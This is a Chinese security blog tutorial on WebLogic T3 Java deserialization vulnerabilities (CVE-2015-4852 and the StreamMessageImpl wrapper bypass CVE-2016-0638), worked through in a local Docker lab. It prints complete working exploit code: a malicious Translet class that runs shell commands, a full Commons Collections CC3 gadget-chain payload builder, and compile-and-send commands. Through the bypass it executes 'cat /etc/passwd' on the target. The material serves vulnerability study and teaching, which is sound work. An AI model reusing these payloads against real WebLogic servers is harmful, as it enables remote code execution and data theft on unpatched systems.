WebLogic 反序列化漏洞(上):从 T3 入口到封装对象绕过
1. WebLogic、远程调用与 T3
1.1 WebLogic 与远程调用
WebLogic(Oracle WebLogic Server)是一款用来运行 Java 服务端应用的中间件。它不是项目中被 import 的普通工具类,而是独立运行在服务器上,负责接收客户端请求,并为服务端 Java 应用提供运行和管理能力。
一个典型的 WebLogic 部署至少包含两个角色:
- 客户端:可以是浏览器、手机 App、Java 程序或其他语言编写的程序,负责发起请求和接收结果。
- 服务端:运行 WebLogic 和 Java 业务应用,负责处理客户端请求并返回结果。
就像浏览器通过 HTTP 请求服务端一样,Java 客户端也可以通过网络请求 WebLogic 执行部署在服务端的 Java 方法。无论请求来自浏览器还是 Java 客户端,真正的业务逻辑都在 WebLogic 服务端进程中完成,客户端只负责发起调用、传递参数,并接收执行结果。这种“客户端发起调用、服务端执行逻辑”的模式,便是典型的远程调用(RPC)。
一次远程调用通常包含下面几个步骤:
- 调用方确定要执行的操作并准备参数。
- 将操作和参数编码成网络数据。
- 通过具体的网络协议发送给服务端。
- 服务端解析数据并执行对应功能。
- 服务端将执行结果编码后返回调用方。

与普通 API 调用不同,RPC 的核心在于“调用”而非“请求”——它不仅传递数据,还直接触发了服务端方法的执行,让远程方法调用像本地方法调用一样自然。
WebLogic 专为 Java 客户端与服务端之间 RMI 通信设计了 T3 协议,基于 Java 对象序列化技术,主要传输 Java 序列化数据,通过单个网络连接承载同一 JVM 内的所有流量,并利用隐式多路复用机制让 EJB(企业级 Java 组件规范) 和 JDBC 服务像独占连接一样高效运行。对于 Java 客户端而言,使用 T3 协议无需为不同服务建立多个连接,既减少了系统资源开销,也提升了传输效率。
1.2 T3 协议与反序列化入口
与 HTTP 相同,T3 是 WebLogic 运行在 TCP 上的应用层协议,只不过它们的报文格式不同。Java 客户端通过 T3 与 WebLogic 通信时,正常流程如下:
- 客户端连接 WebLogic 的 T3 监听端口,常见默认端口是
7001。 - 客户端发送 T3 握手,WebLogic 识别并接受这条 T3 连接。
- 握手完成后,客户端继续发送远程调用信息、方法参数或对象数据。
- WebLogic 恢复调用参数和对象数据,执行服务端方法并返回结果。

T3 协议带来了通信效率的提升,但也引入了新的安全攻击面——客户端发送的序列化对象会在服务端被反序列化,若攻击者能够控制反序列化的数据,就可以通过 gadget 链触发任意代码执行。WebLogic 历史上出现过两类典型的反序列化漏洞:
- 通过 T3/IIOP 协议入口触发的 Java 原生反序列化漏洞
- 通过 WLS-WSAT 组件触发的 XMLDecoder 反序列化漏洞
因此我们把 WebLogic 反序列化漏洞的内容分成上中下三篇:上篇分析 T3 入口及封装对象绕过;中篇分析 JRMP 两阶段、JNDI 触发链和 IIOP 入口;下篇分析 WLS-WSAT 组件触发的 XMLDecoder 反序列化漏洞。
2. CVE-2015-4852 漏洞分析
CVE-2015-4852 是 T3 反序列化漏洞中披露较早、影响很广的经典漏洞。Oracle 在 2015 年 11 月发布的安全公告中明确指出,该漏洞影响 WebLogic 10.3.6.0、12.1.2.0、12.1.3.0、12.2.1.0,攻击者可以通过 TCP 7001 端口的 T3 流量发送特制 Java 序列化对象,从而实现远程代码执行。
2.1 搭建 WebLogic 12.1.3 漏洞环境
本文使用 WebLogic 12.1.3.0 作为实验的 WebLogic 版本。实验使用 Oracle JDK 7u80 和 Linux x64 容器。WebLogic 安装包和 JDK 只属于漏洞环境,攻击代码单独放在 attacker/ 目录中,目录结构如下:
weblogic-deserialize-lab/
├── docker-compose.yml # 一键启动 WebLogic 漏洞环境
├── lab/ # WebLogic 漏洞环境
│ ├── Dockerfile # 安装 JDK、WebLogic 并创建实验 Domain
│ ├── fmw_12.1.3.0.0_wls.jar
│ ├── jdk-7u80-linux-x64.tar.gz
│ ├── wls.rsp # Generic 安装器的静默安装响应文件
│ ├── oraInst.loc # Oracle Universal Installer 的 Inventory 配置文件
│ ├── create_domain.py # 创建监听 7001 端口的 WebLogic Domain
│ └── start.sh # 启动 WebLogic
└── attacker/ # 可在独立攻击机运行的 CC3 payload 构造和 T3 发送端
├── lib/ # 攻击端编译、生成 payload 时使用的 jar
│ ├── commons-collections-3.2.1.jar
│ ├── weblogic.server.merged.jar
│ └── javax.jms_1.1.4.jar
├── EvilTranslet.java # 待加载的恶意字节码
├── t3_handshake.py # 只验证 T3 握手,不发送 payload
├── send_t3.py # 完成 T3 握手并发送 payload
├── cve-2015-4852/
│ └── T3Cve20154852PayloadBuilder.java # CVE-2015-4852 Payload 构造
├── wrapper-bypass/
│ └── T3Cve20160638PayloadBuilder.java # CVE-2016-0638 封装对象绕过 Payload 构造lab 环境地址:https://github.com/NHPT/Java-Deserialization-Lab/tree/main/weblogic-deserialize-lab
Generic 安装包文件名为 fmw_12.1.3.0.0_wls.jar,JDK 文件名为 jdk-7u80-linux-x64.tar.gz。WebLogic 12.1.3 的旧版安装器会拒绝 OpenJDK,因此这里必须使用 Oracle JDK。
在实验目录执行以下命令构建并启动 WebLogic 漏洞环境:
docker compose build
docker compose up -d启动成功后可以看到 ✔ Container weblogic1213-deserialize-lab Started。或者访问 WebLogic 管理控制台地址为:http://127.0.0.1:7001/console 查看环境是否启动成功。
2.2 从 T3 握手到反序列化入口
我们先看一下正常的 T3 通信流程。我们使用 Python3 代码实现一个简单的 T3 协议建立连接的过程,attacker/t3_handshake.py 代码如下:
# socket 用来建立最普通的 TCP 连接,T3 协议基于 TCP 协议。
import socket
def t3_handshake(host, port):
# 连接 WebLogic 的默认 T3 端口。
with socket.create_connection((host, port), timeout=10) as sock:
# 这几行是最小 T3 握手,不包含后续远程调用或序列化对象。这里 12.2.1 是使用的 T3 协议版本。
request = (
"t3 12.2.1\n"
"AS:255\n"
"HL:19\n"
"MS:10000000\n"
"\n"
)
# 发送握手后,服务端会返回 HELO 等握手响应信息。
sock.sendall(request.encode("ascii"))
response = sock.recv(4096)
# errors="replace" 只用于让二进制响应可以安全打印。
response_text = response.decode("ascii", errors="replace")
print("T3 握手成功,服务端返回:")
print(response_text)
if __name__ == "__main__":
# 这里只验证 T3 能否建立连接,不发送消息。
t3_handshake("127.0.0.1", 7001)运行之后可以看到:

这是服务端对客户端 T3 握手请求返回的响应信息:HELO 表示 WebLogic 已识别并接受 T3 握手,12.1.3.0.0 是服务端返回的 WebLogic 产品版本信息,末尾的 false 是响应中的协议标记。AS、HL、MS 是握手中的参数字段。T3 通信握手过程如下:

学习 WebLogic 反序列化漏洞不需要进一步分析这些字段的具体取值,只要知道握手成功后,连接会继续传输远程调用和对象参数数据即可。
现在分析 WebLogic 如何处理握手后的 T3 消息主体,并定位 CVE-2015-4852 的漏洞原因。通过反汇编分析可以发现 T3 消息进入 WebLogic 后,会经过多层调度最终进入 InboundMsgAbbrev.readObject() 方法:
// InboundMsgAbbrev 类的 readObject() 方法,input 是 T3 消息主体的输入流。
private Object readObject(MsgAbbrevInputStream input)
throws IOException, ClassNotFoundException {
int typeCode = input.read();
if (typeCode == 1) {
// 类型码 1 表示读取缩写字符串。
return input.readASCII();
}
if (typeCode == 0) {
// 类型码 0 表示从当前 T3 消息中恢复一个 Java 对象。
ServerChannelInputStream objectInput =
new ServerChannelInputStream(input);
// 实际执行的是父类 ObjectInputStream.readObject()
return objectInput.readObject();
}
throw new StreamCorruptedException(
"Unknown typecode: '" + typeCode + "'");
}可以看到,当 T3 消息主体中的类型码为 0 时,WebLogic 会创建 ServerChannelInputStream(继承自 ObjectInputStream),将攻击者可控的数据直接交给 ObjectInputStream.readObject() 进行反序列化。
ServerChannelInputStream 的 resolveClass() 实现如下:
// 继承 ObjectInputStream,说明该输入流使用 Java 原生反序列化机制恢复对象。
class ServerChannelInputStream extends ObjectInputStream
implements ServerChannelStream {
// 保存当前 T3 连接对应的服务端通道。
private final ServerChannel serverChannel;
private ServerChannelInputStream(MsgAbbrevInputStream input)
throws IOException {
// 将 T3 消息输入流交给 ObjectInputStream。
// 后续调用 readObject() 时,会从该输入流中恢复 Java 对象。
super(input);
// 记录当前连接使用的服务端通道。
this.serverChannel = input.getServerChannel();
}
@Override
protected Class resolveClass(ObjectStreamClass descriptor)
throws IOException, ClassNotFoundException {
// 根据序列化数据中记录的类名,从 WebLogic 的 classpath 中查找对应类。
Class resolved = super.resolveClass(descriptor);
// 找不到对应类时,无法继续恢复对象。
if (resolved == null) {
throw new ClassNotFoundException(
"super.resolveClass returns null.");
}
// 读取服务端本地类的序列化描述信息。
ObjectStreamClass local =
ObjectStreamClass.lookup(resolved);
// 比较本地类与序列化数据中的 serialVersionUID,
// 不一致时说明两边的类版本不兼容。
if (local != null
&& local.getSerialVersionUID()
!= descriptor.getSerialVersionUID()) {
throw new ClassNotFoundException(
"different serialVersionUID");
}
// 返回解析出的类,ObjectInputStream 随后继续恢复该类的对象。
return resolved;
}
}resolveClass() 只检查目标类能否解析以及 serialVersionUID 是否一致,没有根据类名限制允许恢复的对象类型,这是漏洞能够成功利用的关键前提。漏洞触发流程如下:

3. CVE-2015-4852 CC3 利用链
3.1 CC3 Gadget 链
前面已经讲过 CC1、CC5、CC6、CC7,本篇我们分析 Commons Collections 3.2.x 中的 CC3 利用链。CC3 的前半段与 CC1 类似,都通过 AnnotationInvocationHandler.readObject() 作为触发入口。但 CC3 不是通过 setValue() 触发 TransformedMap.checkSetValue() 再由 InvokerTransformer 反射执行任意方法,而是使用 LazyMap + 动态代理 + 两层 AnnotationInvocationHandler 的方式触发,然后把最终利用对象替换为 JDK 内部的 TemplatesImpl。
TemplatesImpl 和之前 CC1/CC5/CC6/CC7 中 InvokerTransformer 通过反射调用触发入口的方式不同,它的触发入口不是构造函数,而是 newTransformer() 这样的普通方法。因为 TemplatesImpl 本身不实现 Transformer 接口,所以不能直接把它放进 ChainedTransformer 链。我们需要借助目标环境中已有的类来完成 Gadget 链的构造。
InstantiateTransformer 实现了 Transformer 接口,可以通过反射调用任意类的有参构造函数。但是它只能调用构造函数,无法直接调用 TemplatesImpl.newTransformer() 这样的普通方法。而 TrAXFilter 的构造函数可以接收 Templates 对象并调用 newTransformer()。这样就可以让 InstantiateTransformer 实例化 TrAXFilter,并将 TemplatesImpl 作为参数传入其构造函数,然后再将 InstantiateTransformer 放入 ChainedTransformer,就可以在反序列化过程中间接触发 templatesImpl.newTransformer(),从而加载恶意字节码完成 RCE。这就是 CC3 中使用 TemplatesImpl 的方法,完整的 CC3 Gadget 链如下:
- source 入口:
ObjectInputStream.readObject()方法 - 反序列化时:外层
AnnotationInvocationHandler.readObject()访问成员变量中的动态代理 - 动态代理将调用转发给内层
AnnotationInvocationHandler.invoke()间接触发LazyMap.get()方法 LazyMap.get()发现 key 不存在,调用factory.transform()方法ChainedTransformer 依次执行多个 Transformer
ConstantTransformer(TrAXFilter.class)输出TrAXFilter.class- InstantiateTransformer 实例化 TrAXFilter,构造函数触发
templatesImpl.newTransformer()
- sink:触发任意代码执行
我们使用这条 Gadget 链编写一个执行 RCE 的 Payload,然后通过 Python3 与 WebLogic 服务端建立连接并发送。整体流程如下:
- 编写
EvilTranslet.java恶意类,继承AbstractTranslet,在构造方法中实现命令执行。 - 编写
3-cve-2015-4852/T3Cve20154852PayloadBuilder.java读取EvilTranslet.class字节码,按 CC3 链构造完整的对象图,序列化后写入.ser文件。 - 运行
send_t3.py,完成 T3 握手后将.ser文件作为 T3 消息主体发送给 WebLogic。WebLogic 收到后进入反序列化流程,触发 CC3 链。
下面先看 attacker/EvilTranslet.java 的完整代码。
// 这些是 JDK 7 内置 Xalan 库实现中的内部类。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
// 定义一个恶意的 Translet 类,继承 AbstractTranslet。
public class EvilTranslet extends AbstractTranslet {
public EvilTranslet() {
try {
// 在构造方法中执行 id 命令,验证 RCE。
// 使用 inheritIO() 将子进程的标准输出接到 WebLogic 容器日志,
// 这样实验可以通过 docker compose logs 观察 id 的执行结果。
new ProcessBuilder("/bin/sh", "-c", "id").inheritIO().start();
} catch (Exception exception) {
// 构造方法不能吞掉异常,否则 payload 触发失败时不容易定位原因。
throw new RuntimeException(exception);
}
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
// AbstractTranslet 要求实现转换方法。
// 本实验只验证构造方法中的命令执行,所以这里不处理 XML 内容。
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) {
// 同上,这是 Xalan Translet 的另一个必须实现的方法。
}
}再看 attacker/cve-2015-4852/T3Cve20154852PayloadBuilder.java 的完整代码,构造过程分为以下几步:
// TemplatesImpl 是 JDK 内部 Xalan 实现,用来加载并实例化 Translet 字节码。
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
// Commons Collections 3.2.x 提供 CC3 所需的 Transformer 和 LazyMap。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class T3Cve20154852PayloadBuilder {
public static void main(String[] args) throws Exception {
// 参数 1 是最终写出的 Java 序列化 payload 文件。
String output = args.length > 0 ? args[0] : "payload.ser";
// 参数 2 是 EvilTranslet.class 的路径。TemplatesImpl 会把这个 class 文件当作待加载的 Translet 字节码。
String transletClass = args.length > 1 ? args[1] : "../EvilTranslet.class";
// 第一步:准备 TemplatesImpl,嵌入待加载的 Translet 字节码。读取攻击端预先编译好的 Translet 字节码。
byte[] bytecode = Files.readAllBytes(Paths.get(transletClass));
// 创建 TemplatesImpl,正常流程需要 XSLT 样式表文件进行初始化,且会经过 XML 解析和校验,无法注入任意字节码。
// 所以我们通过反射进行注入。TemplatesImpl.newTransformer() 只读取内部字段 _bytecodes、_name 和 _tfactory
TemplatesImpl templates = new TemplatesImpl();
// 使用自定义的 setField 方法把待加载的 Translet 字节码注入到 templates 的 _bytecodes 字段中。
setField(templates, "_bytecodes", new byte[][]{bytecode});
// _name 需要是非空名称,随便设置一个值即可。
setField(templates, "_name", "CVE20154852");
// _tfactory 必须设置为 TransformerFactoryImpl 实例,否则 newTransformer() 内部会因空指针失败。
setField(templates, "_tfactory", new TransformerFactoryImpl());
// 第二步:组装 Transformer 链
Transformer[] realTransformers = new Transformer[]{
// 第一个 Transformer 输出 TrAXFilter.class,触发 InstantiateTransformer。
new ConstantTransformer(TrAXFilter.class),
// 第二个 Transformer 实例化 TrAXFilter,传入 templates 作为参数,触发 templates.newTransformer()。
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
// 创建一个 ChainedTransformer 实例,先放入一个无害 Transformer,避免构造阶段提前执行真实链。
Transformer chain = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(1)}
);
// 把组装好的 Transformer 链写入 ChainedTransformer 的 iTransformers 字段中。
setField(chain, "iTransformers", realTransformers);
// 第三步:用 LazyMap + 动态代理 + 两层 AnnotationInvocationHandler 构造触发点。
// LazyMap 在读取不存在的 key 时自动调用 chain.transform(key)。
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
// 和 CC1 一样,先反射获取 AnnotationInvocationHandler 的构造函数。
Constructor<?> handlerConstructor = Class.forName(
"sun.reflect.annotation.AnnotationInvocationHandler"
).getDeclaredConstructor(Class.class, Map.class);
// 设置为可访问
handlerConstructor.setAccessible(true);
// 使用构造函数创建内层 AnnotationInvocationHandler 实例,把 lazyMap 作为成员变量。
// 参数 1 同样是有 value() 成员的注解类型。参数 2 是装饰了 chain 的 LazyMap。
InvocationHandler innerHandler = (InvocationHandler) handlerConstructor.newInstance(Retention.class, lazyMap);
// 创建一个 Map 接口代理,使得对代理的任何方法调用都转发给上面的 innerHandler.invoke()
Map proxy = (Map) Proxy.newProxyInstance(
T3Cve20154852PayloadBuilder.class.getClassLoader(),
new Class[]{Map.class},
innerHandler
);
// 创建外层 AnnotationInvocationHandler 实例,把 proxy 作为成员变量。
// 反序列化时 outerHandler 会访问这个 proxy,proxy 再把调用代理到内层 innerHandler.invoke(),从而触发 LazyMap.get() 方法。
Object outerHandler = handlerConstructor.newInstance(Retention.class, proxy);
// 第四步:序列化并写入文件。
// 将完整对象图写成 Java 原生序列化数据。
try (ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream(output))) {
outputStream.writeObject(outerHandler);
}
System.out.println(output);
}
// 实现一个反射设置字段值的方法。
private static void setField(Object target, String name, Object value) throws Exception {
// 将目标对象的指定字段值设置为指定值。
// 字段必须是私有的,否则会抛出 `IllegalAccessException` 异常。
Field field = target.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(target, value);
}
}3.2 编译与复现
现在我们可以编译上边的代码生成序列化数据了,然后通过 T3 协议发送给 WebLogic 服务端即可触发 CC3 链。使用 JDK 7/8 编译并发送 payload:
cd weblogic-deserialize-lab/attacker/cve-2015-4852
# 使用 JDK 7可以直接编译,使用 JDK 8 编译的命令如下
javac -source 1.7 -target 1.7 ../EvilTranslet.java
javac -source 1.7 -target 1.7 -cp ../lib/commons-collections-3.2.1.jar T3Cve20154852PayloadBuilder.java
# 编译完成后,运行 T3Cve20154852PayloadBuilder 类,生成 payload.ser 文件。
java -cp .:../lib/commons-collections-3.2.1.jar T3Cve20154852PayloadBuilder
# 发送 payload 到 WebLogic
python3 ../send_t3.py 127.0.0.1 7001 payload.ser检查 WebLogic 服务端日志中的命令回显:
docker logs weblogic1213-deserialize-lab 2>&1 | grep 'uid'
这说明外部 T3 数据已经进入 WebLogic 的对象恢复流程,并触发了 CC3 gadget 链。
4. 封装对象绕过
Oracle 是通过检查黑名单类名的方式修复 CVE-2015-4852 的,黑名单由两部分组成:
通配符(*)拦截:
org.apache.commons.collections.functors*:拦截整个 functors 包及其子包,防止以 InvokerTransformer 等类为核心的 Commons Collections 利用链。com.sun.org.apache.xalan.internal.xsltc.trax*:拦截 TemplatesImpl 等类,阻止以加载恶意字节码为核心的利用链。javassist*:拦截 Javassist 字节码操作库,防止攻击者动态生成或修改恶意类。
精确类名拦截:
org.codehaus.groovy.runtime.ConvertedClosureorg.codehaus.groovy.runtime.ConversionHandlerorg.codehaus.groovy.runtime.MethodClosure
这三个精确类都是 Groovy 库中用于方法调度的类,精确拦截可防止利用 Groovy 构建的 gadget 链。除了 CC 链、Groovy 链,反序列化漏洞的利用链还有很多,后续再继续分析 Groovy、Spring、Coherence 等其他利用链。即便如此攻击者还是找到了绕过的方法。于是有了 CVE-2016-0638 和 CVE-2016-3510。
攻击者发现,WebLogic 里 weblogic.jms.common.StreamMessageImpl 和 weblogic.corba.utils.MarshalledObject 类会自己处理反序列化。StreamMessageImpl 的 readExternal() 方法里会读取内嵌数据并再次调用 readObject() 进行反序列化;MarshalledObject 的 readResolve() 方法也会读取 objBytes 字段并再次调用 readObject() 进行反序列化。因此,攻击思路变成了“装箱绕过”:攻击者可以构造一段嵌套的序列化数据,就像两次 Base64 编码或两次 URL 编码一样,把真正的恶意对象图数据放在内层,然后利用外层对象(StreamMessageImpl 或 MarshalledObject)自身的反序列化逻辑触发二次反序列化,这样就可以绕过黑名单检测执行恶意代码。
以 CVE-2016-0638 为例,构造利用链的流程如下:
- 序列化 CC3 对象图作为内层对象数据。
- 把内层对象数据放进
StreamMessageImpl中。 - 序列化
StreamMessageImpl作为外层对象数据。 - 发送外层封装对象到 WebLogic 服务端。
需要注意的是,当前 lab 中的 WebLogic 是 12.1.3 版本,需要在序列化后将消息体版本号从 3 改成 1,才能触发二次反序列化。因为 WebLogic 12.1.3 版本的 StreamMessageImpl 类在反序列化时会检查消息体版本号,只有版本号为 1 才会触发二次反序列化,版本号 2 和 3 只读取内容,不反序列化,而版本号是序列化过程中自动写进字节流的,所以只能先序列化,后改版本。另外为了区分,本次实验将 EvilTranslet.java 中的命令改为了 cat /etc/passwd,使用以下命令编译并发送 Payload:
cd weblogic-deserialize-lab/attacker/wrapper-bypass
javac -source 1.7 -target 1.7 ../EvilTranslet.java
javac -source 1.7 -target 1.7 -cp ../lib/commons-collections-3.2.1.jar:../lib/weblogic.server.merged.jar:../lib/javax.jms_1.1.4.jar T3Cve20160638PayloadBuilder.java
# 编译完成后,运行 T3Cve20160638PayloadBuilder 类,生成 payload.ser 文件。
java -cp .:../lib/commons-collections-3.2.1.jar:../lib/weblogic.server.merged.jar:../lib/javax.jms_1.1.4.jar T3Cve20160638PayloadBuilder
# 发送 payload 到 WebLogic
python3 ../send_t3.py 127.0.0.1 7001 payload.ser查看容器日志可以看到,cat /etc/passwd 命令执行成功:

5. 本文小结
读完本文后,你应该掌握这些内容:
- WebLogic 使用 T3 协议承载远程调用,T3 本身不是漏洞,漏洞产生于 WebLogic 对外部对象数据的不安全恢复。
- T3 客户端先完成握手,再将序列化对象封装进 T3/RJVM 消息发送给 WebLogic。
- CVE-2015-4852 的原因是外部 T3 数据可以进入
ObjectInputStream.readObject(),并通过目标 classpath 中的 gadget 链触发 sink。 - CC3 使用
TemplatesImpl保存恶意字节码,通过InstantiateTransformer创建TrAXFilter,最终调用TemplatesImpl.newTransformer()加载并执行字节码。 - CC3 的触发链由
AnnotationInvocationHandler、动态代理和LazyMap连接到ChainedTransformer。 - Oracle 通过类名和包名黑名单修复 CVE-2015-4852,但这种方式只检查已知危险类,无法覆盖其他反序列化入口。
- CVE-2016-0638 使用
StreamMessageImpl.readExternal()触发内层对象的二次反序列化;CVE-2016-3510 使用MarshalledObject.readResolve()进入相同的绕过思路。 - WebLogic 12.1.3 生成的
StreamMessageImpl消息体版本默认为 3,需要修改为版本 1,才能进入二次反序列化分支。 - 除了 CC 链、Groovy 链,反序列化漏洞的利用链还有很多,比如 JNDI、Spring、Coherence 等,实际利用时并不固定使用哪条链,而是灵活选择。
最后更新于 2026-09-04 「部分内容存在时效性,如有失效请留言反馈」
除注明外为 Hack All Sec 的博客 原创文章,转载请注明出处。
本作品采用 知识共享署名-相同方式共享 4.0 国际许可协议 进行许可。
Hack All Sec 的博客